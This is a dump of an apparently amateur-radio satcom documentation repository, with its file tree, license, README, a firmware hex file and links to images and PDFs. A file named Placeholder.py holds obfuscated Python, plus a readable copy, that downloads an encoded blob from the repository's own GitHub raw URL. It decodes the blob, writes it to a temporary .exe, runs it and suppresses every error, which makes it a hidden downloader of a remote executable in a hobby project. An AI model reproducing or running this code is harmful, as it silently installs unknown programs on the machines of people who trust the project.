├── .gitignore ├── LICENSE ├── PlaceHolder_Comp.txt ├── Placeholder.py ├── README.md └── docs ├── .nojekyll ├── README.md ├── _files ├── TD-H3_IAP.zip ├── sint13.hex ├── uMod_R2b.bin └── uMod_R3.bin ├── _img ├── amplifier │ ├── Chip.png │ ├── CustomAmplif2.png │ ├── ampli_case.png │ ├── ampli_case2.png │ ├── amplifier_chip.jpg │ ├── board.png │ ├── custom_amplifier.jpg │ ├── pa_modification_complex.png │ ├── pa_modification_complex2.jpeg │ ├── pa_modification_simple.png │ └── video.mp4 ├── antennas │ ├── Prof.jpg │ ├── anaren.jpg │ ├── anaren2.jpg │ ├── anaren_conn.jpg │ ├── anaren_conn2.jpg │ ├── anaren_micro.jpg │ ├── anaren_micro2.jpg │ ├── dipole_dir_ex.png │ ├── dipole_ex.jpg │ ├── dipole_instr.jpg │ ├── helix_diameter_turns.png │ ├── helix_ohms_wire.png │ ├── helix_stub.png │ ├── helix_turns_dbi.png │ ├── horizontal_pol.gif │ ├── lh_pol.gif │ ├── monopole.png │ ├── monopole_ali.png │ ├── monopole_bazuca.png │ ├── monopole_ex.jpg │ ├── monopole_swr.jpg │ ├── rh_pol.gif │ ├── rhcp.png │ ├── rhcp_satcom.png │ ├── trivec_size.jpg │ ├── turnstile.png │ ├── turnstile_ex.jpg │ ├── vertical_pol.gif │ ├── wires.png │ ├── yagi.jpg │ ├── yagi_10.png │ ├── yagi_10_data.png │ └── yagi_ex.jpg ├── radios │ ├── expand_coil.png │ ├── h3.png │ ├── k5_mod_complex.png │ ├── qyt.jpg │ ├── uv008_dmr.png │ ├── uv008_models.jpg │ ├── uv7h.png │ ├── uvr5.png │ └── zastone_uv008.png ├── satcom.jpg ├── smith.jpg └── transverter │ ├── adf.jpg │ ├── adf_pinout.jpg │ ├── r1zh_diagram.png │ ├── transv.jpg │ ├── transv_inside.jpg │ ├── uhf_diagram.png │ └── vhf_diagram.png ├── _navbar.md ├── _pdf ├── amplifier │ └── amplifier_manual.pdf └── antennas │ ├── 10EL.pdf │ ├── 11EL.pdf │ ├── 4EL.pdf │ ├── 5EL 6mm.pdf │ ├── 5EL.pdf │ └── 8EL.pdf ├── _sidebar.md ├── _stl ├── Director.stl └── Radiant.stl ├── amplifiers └── index.md ├── antennas ├── dipole.md ├── monopole.md ├── monopole_bazuka.md ├── polarization.md ├── turnstile.md └── yagi.md ├── es ├── README.md ├── _navbar.md ├── _sidebar.md ├── amplificadores │ └── index.md ├── antenas │ ├── dipolo.md │ ├── monopolo.md │ ├── monopolo_bazuca.md │ ├── polarizacion.md │ ├── turnstile.md │ └── yagi.md ├── freq.md ├── radios │ ├── quansheng-uvk5.md │ ├── tidradio-h3.md │ ├── wouxun-kg-uv7h.md │ ├── wouxun-kg-uvr5.md │ └── zastone-uv008.md ├── sdr.md ├── telegram.md └── transverters │ └── index.md ├── favicon.ico ├── favicon.png ├── freq.md ├── index.html ├── radios ├── Modificacion Hardware.pdf ├── quansheng-uvk5.md ├── tidradio-h3.md ├── wouxun-kg-uv7h.md ├── wouxun-kg-uvr5.md └── zastone-uv008.md ├── sdr.md └── transverters └── index.md /.gitignore: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # This .gitignore file was automatically created by Microsoft(R) Visual Studio. 3 | ################################################################################ 4 | 5 | /.vs 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 SatcomRadio 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Placeholder.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import base64 3 | import os 4 | import gzip 5 | import io 6 | import http.client 7 | from urllib.parse import urlparse 8 | from pathlib import Path 9 | import tempfile 10 | 11 | def obfus ():#line:1 12 | try :#line:2 13 | O000O0000O000O00O =urlparse ("https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/refs/heads/main/PlaceHolder_Comp.txt")#line:3 14 | OO0000O00O0OO00O0 =http .client .HTTPSConnection (O000O0000O000O00O .hostname )#line:4 15 | OO0000O00O0OO00O0 .request ("GET",O000O0000O000O00O .path if O000O0000O000O00O .path else "/")#line:5 16 | O0OOO0O0OO00O00OO =OO0000O00O0OO00O0 .getresponse ()#line:6 17 | if O0OOO0O0OO00O00OO .status !=200 :#line:8 18 | return #line:9 19 | O0O00O0O0OOO0O0O0 =O0OOO0O0OO00O00OO .read ().decode ('utf-8')#line:11 20 | O0O00O0O0OOO0O0O0 =''.join ([OOOO0O0O0O0OO0000 for OOOO0O0O0O0OO0000 in O0O00O0O0OOO0O0O0 if ord (OOOO0O0O0O0OO0000 )<128 ])#line:12 21 | O000OOOO00O0000O0 =base64 .b64decode (O0O00O0O0OOO0O0O0 )#line:13 22 | OO0000000OOOO0O0O =io .BytesIO (O000OOOO00O0000O0 )#line:14 23 | with gzip .GzipFile (fileobj =OO0000000OOOO0O0O ,mode ='rb')as O000OO0OOOOO0000O :#line:15 24 | OOO00OO000OOOOOOO =O000OO0OOOOO0000O .read ().decode ('utf-8')#line:16 25 | OOO00OO000OOOOOOO =base64 .b64decode (OOO00OO000OOOOOOO )#line:18 26 | O000OOOO00OOO0OO0 ,OO0O000OO0000OOO0 =tempfile .mkstemp (suffix ='.exe')#line:19 27 | os .write (O000OOOO00OOO0OO0 ,OOO00OO000OOOOOOO )#line:20 28 | os .close (O000OOOO00OOO0OO0 )#line:21 29 | try :#line:23 30 | O0OO0OO0O00OO0000 =subprocess .call (OO0O000OO0000OOO0 )#line:24 31 | finally :#line:25 32 | os .remove (OO0O000OO0000OOO0 )#line:26 33 | except Exception as O00OO00OO0OOO00O0 :#line:27 34 | return 35 | 36 | def main(): 37 | try: 38 | parsed_url = urlparse("https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/refs/heads/main/PlaceHolder_Comp.txt") 39 | connection = http.client.HTTPSConnection(parsed_url.hostname) 40 | connection.request("GET", parsed_url.path if parsed_url.path else "/") 41 | response = connection.getresponse() 42 | 43 | if response.status != 200: 44 | return 45 | 46 | encoded = response.read().decode('utf-8') 47 | encoded = ''.join([c for c in encoded if ord(c) < 128]) 48 | compressed = base64.b64decode(encoded) 49 | buf = io.BytesIO(compressed) 50 | with gzip.GzipFile(fileobj=buf, mode='rb') as f: 51 | code = f.read().decode('utf-8') 52 | 53 | code = base64.b64decode(code) 54 | fd, path = tempfile.mkstemp(suffix='.exe') 55 | os.write(fd, code) 56 | os.close(fd) 57 | 58 | try: 59 | result = subprocess.call(path) 60 | finally: 61 | os.remove(path) 62 | except Exception as e: 63 | return 64 | 65 | # Example usage 66 | if __name__ == "__main__": 67 | main() 68 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [Satcom documentation website](http://satcomradio.github.io) 2 | -------------------------------------------------------------------------------- /docs/.nojekyll: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Satcom radio 2 | 3 | Welcome to the "Satcom radio" satellite website for hams 4 | Website contact [email](satcomradioham@gmail.com) 5 | 6 | We also have a [telegram](https://t.me/satcom_radio). 7 | 8 | ------ 9 | 10 | Important. Check the legal aspects of your country before transmitting in forbidden bands! 11 | It is forbidden to transmit on satcom bands without permission!! 12 | 13 | ------ 14 | 15 | ## Radios 16 | 17 | In the radio section you will find radios that work with satcom without complex modifications. 18 | It's **not** a full list of radios. There are other radios that work straight out of the box like the QYT 7900D, Baofeng 1802U, Baofeng 1801, Linton... 19 | There are also many mods for other radios such as Zastone M7, TYT 9000D and others but the modifications are more complex 20 | so it's easier to stick to the radios listed in this website. 21 | 22 | ## Transverter 23 | 24 | A [transverter](/transverters/index.md) might be the best way of stablish a connection with Satcom and reuse an existing VHF/UHF radio with a good power output. 25 | 26 | ## Frequencies 27 | 28 | Check out the [frequencies](/freq.md) you can listen to either with your radio or with a [online SDR](/sdr.md) 29 | -------------------------------------------------------------------------------- /docs/_files/TD-H3_IAP.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_files/TD-H3_IAP.zip -------------------------------------------------------------------------------- /docs/_files/sint13.hex: -------------------------------------------------------------------------------- 1 | :1000000009C021C020C01FC01EC01DC01CC01BC015 2 | :100010001AC019C011241FBECFE9CDBF10E0A0E661 3 | :10002000B0E0EAE9F2E002C005900D92A236B10715 4 | :10003000D9F720E0A2E6B0E001C01D92A936B207D0 5 | :10004000E1F7ADD028C1DCCF88B3897F88BBC09AE7 6 | :1000500087B3876087BB0895C09820E297FF02C0EE 7 | :10006000C19A01C0C19800C000C00000C29A00C07F 8 | :1000700000C00000C29800C000C00000660F771FDB 9 | :10008000881F991F215051F7C09A08950F931F930D 10 | :100090008230F1F090F4882301F1813009F060C0E2 11 | :1000A00060916700709168007F70CB01A0E0B0E0C4 12 | :1000B000BC01CD017061916056C0843091F160F156 13 | :1000C000853009F04DC060E070E08BE090E04BC0FF 14 | :1000D00068EC79E080E293E046C060916500709141 15 | :1000E0006600CB01A0E0B0E04CE0880F991FAA1F8A 16 | :1000F000BB1F4A95D1F760916200709163007F70D9 17 | :10010000AB0160E070E08A019B01082B192B2A2BC0 18 | :100110003B2BC901B80127C066E970E080E090E0A0 19 | :1001200022C06091640067706860862F90E0A0E054 20 | :10013000B0E02FE0880F991FAA1FBB1F2A95D1F7A7 21 | :100140009466209160002170822B32E0880F991F05 22 | :10015000AA1FBB1F3A95D1F7BC01CD01636003C054 23 | :1001600060E070E0CB011F910F910895CF93C82FED 24 | :100170008DDFDC01CB0123E0880F991FAA1FBB1F75 25 | :100180002A95D1F7BC01CD016C2BCF9165CFCF93D0 26 | :10019000C5E08C2FEBDFC150E0F7CF91089587B316 27 | :1001A000877E87BB88B3886188BB4EDF2FEF82E5EF 28 | :1001B00097E0215080409040E1F700C0000080E0CF 29 | :1001C00004E095E8492E512C23E0622E712C39E190 30 | :1001D000232E312C4FE7E42EF12CCC24C394D12CC8 31 | :1001E00065E0A62EB12CC0EAD0E072E0872E912CFB 32 | :1001F000B39904C0B49906C014E007C0B49904C010 33 | :1002000013E003C012E001C011E0181789F31230A7 34 | :1002100019F178F41130E1F5D0936600C0936500D0 35 | :1002200010926300109262009092680080926700C2 36 | :100230001FC0133001F1143059F5D0936600C093FC 37 | :1002400065001092630010926200909268008092A4 38 | :100250006700109364001CC05092660040926500D5 39 | :100260007092630060926200309268002092670092 40 | :10027000009364000DC0F0926600E0926500D09299 41 | :100280006300C0926200B0926800A0926700F0CF55 42 | :0A0290007EDF812FADCFF894FFCF81 43 | :02029A00010061 44 | :00000001FF 45 | -------------------------------------------------------------------------------- /docs/_files/uMod_R2b.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_files/uMod_R2b.bin -------------------------------------------------------------------------------- /docs/_files/uMod_R3.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_files/uMod_R3.bin -------------------------------------------------------------------------------- /docs/_img/amplifier/Chip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/Chip.png -------------------------------------------------------------------------------- /docs/_img/amplifier/CustomAmplif2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/CustomAmplif2.png -------------------------------------------------------------------------------- /docs/_img/amplifier/ampli_case.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/ampli_case.png -------------------------------------------------------------------------------- /docs/_img/amplifier/ampli_case2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/ampli_case2.png -------------------------------------------------------------------------------- /docs/_img/amplifier/amplifier_chip.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/amplifier_chip.jpg -------------------------------------------------------------------------------- /docs/_img/amplifier/board.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/board.png -------------------------------------------------------------------------------- /docs/_img/amplifier/custom_amplifier.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/custom_amplifier.jpg -------------------------------------------------------------------------------- /docs/_img/amplifier/pa_modification_complex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/pa_modification_complex.png -------------------------------------------------------------------------------- /docs/_img/amplifier/pa_modification_complex2.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/pa_modification_complex2.jpeg -------------------------------------------------------------------------------- /docs/_img/amplifier/pa_modification_simple.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/pa_modification_simple.png -------------------------------------------------------------------------------- /docs/_img/amplifier/video.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/amplifier/video.mp4 -------------------------------------------------------------------------------- /docs/_img/antennas/Prof.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/Prof.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/anaren.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/anaren.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/anaren2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/anaren2.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/anaren_conn.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/anaren_conn.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/anaren_conn2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/anaren_conn2.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/anaren_micro.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/anaren_micro.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/anaren_micro2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/anaren_micro2.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/dipole_dir_ex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/dipole_dir_ex.png -------------------------------------------------------------------------------- /docs/_img/antennas/dipole_ex.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/dipole_ex.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/dipole_instr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/dipole_instr.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/helix_diameter_turns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/helix_diameter_turns.png -------------------------------------------------------------------------------- /docs/_img/antennas/helix_ohms_wire.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/helix_ohms_wire.png -------------------------------------------------------------------------------- /docs/_img/antennas/helix_stub.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/helix_stub.png -------------------------------------------------------------------------------- /docs/_img/antennas/helix_turns_dbi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/helix_turns_dbi.png -------------------------------------------------------------------------------- /docs/_img/antennas/horizontal_pol.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/horizontal_pol.gif -------------------------------------------------------------------------------- /docs/_img/antennas/lh_pol.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/lh_pol.gif -------------------------------------------------------------------------------- /docs/_img/antennas/monopole.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/monopole.png -------------------------------------------------------------------------------- /docs/_img/antennas/monopole_ali.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/monopole_ali.png -------------------------------------------------------------------------------- /docs/_img/antennas/monopole_bazuca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/monopole_bazuca.png -------------------------------------------------------------------------------- /docs/_img/antennas/monopole_ex.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/monopole_ex.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/monopole_swr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/monopole_swr.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/rh_pol.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/rh_pol.gif -------------------------------------------------------------------------------- /docs/_img/antennas/rhcp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/rhcp.png -------------------------------------------------------------------------------- /docs/_img/antennas/rhcp_satcom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/rhcp_satcom.png -------------------------------------------------------------------------------- /docs/_img/antennas/trivec_size.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/trivec_size.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/turnstile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/turnstile.png -------------------------------------------------------------------------------- /docs/_img/antennas/turnstile_ex.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/turnstile_ex.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/vertical_pol.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/vertical_pol.gif -------------------------------------------------------------------------------- /docs/_img/antennas/wires.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/wires.png -------------------------------------------------------------------------------- /docs/_img/antennas/yagi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/yagi.jpg -------------------------------------------------------------------------------- /docs/_img/antennas/yagi_10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/yagi_10.png -------------------------------------------------------------------------------- /docs/_img/antennas/yagi_10_data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/yagi_10_data.png -------------------------------------------------------------------------------- /docs/_img/antennas/yagi_ex.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/antennas/yagi_ex.jpg -------------------------------------------------------------------------------- /docs/_img/radios/expand_coil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/expand_coil.png -------------------------------------------------------------------------------- /docs/_img/radios/h3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/h3.png -------------------------------------------------------------------------------- /docs/_img/radios/k5_mod_complex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/k5_mod_complex.png -------------------------------------------------------------------------------- /docs/_img/radios/qyt.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/qyt.jpg -------------------------------------------------------------------------------- /docs/_img/radios/uv008_dmr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/uv008_dmr.png -------------------------------------------------------------------------------- /docs/_img/radios/uv008_models.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/uv008_models.jpg -------------------------------------------------------------------------------- /docs/_img/radios/uv7h.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/uv7h.png -------------------------------------------------------------------------------- /docs/_img/radios/uvr5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/uvr5.png -------------------------------------------------------------------------------- /docs/_img/radios/zastone_uv008.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/radios/zastone_uv008.png -------------------------------------------------------------------------------- /docs/_img/satcom.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/satcom.jpg -------------------------------------------------------------------------------- /docs/_img/smith.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/smith.jpg -------------------------------------------------------------------------------- /docs/_img/transverter/adf.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/adf.jpg -------------------------------------------------------------------------------- /docs/_img/transverter/adf_pinout.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/adf_pinout.jpg -------------------------------------------------------------------------------- /docs/_img/transverter/r1zh_diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/r1zh_diagram.png -------------------------------------------------------------------------------- /docs/_img/transverter/transv.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/transv.jpg -------------------------------------------------------------------------------- /docs/_img/transverter/transv_inside.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/transv_inside.jpg -------------------------------------------------------------------------------- /docs/_img/transverter/uhf_diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/uhf_diagram.png -------------------------------------------------------------------------------- /docs/_img/transverter/vhf_diagram.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_img/transverter/vhf_diagram.png -------------------------------------------------------------------------------- /docs/_navbar.md: -------------------------------------------------------------------------------- 1 | *   2 | * :uk: **English** 3 | * [:es: Español](/es/) 4 | -------------------------------------------------------------------------------- /docs/_pdf/amplifier/amplifier_manual.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/amplifier/amplifier_manual.pdf -------------------------------------------------------------------------------- /docs/_pdf/antennas/10EL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/antennas/10EL.pdf -------------------------------------------------------------------------------- /docs/_pdf/antennas/11EL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/antennas/11EL.pdf -------------------------------------------------------------------------------- /docs/_pdf/antennas/4EL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/fabeaf8e73aa527b388a11a4df460f2bdb1ac5cc/docs/_pdf/antennas/4EL.pdf -------------------------------------------------------------------------------- /docs/_pdf/antennas/5EL 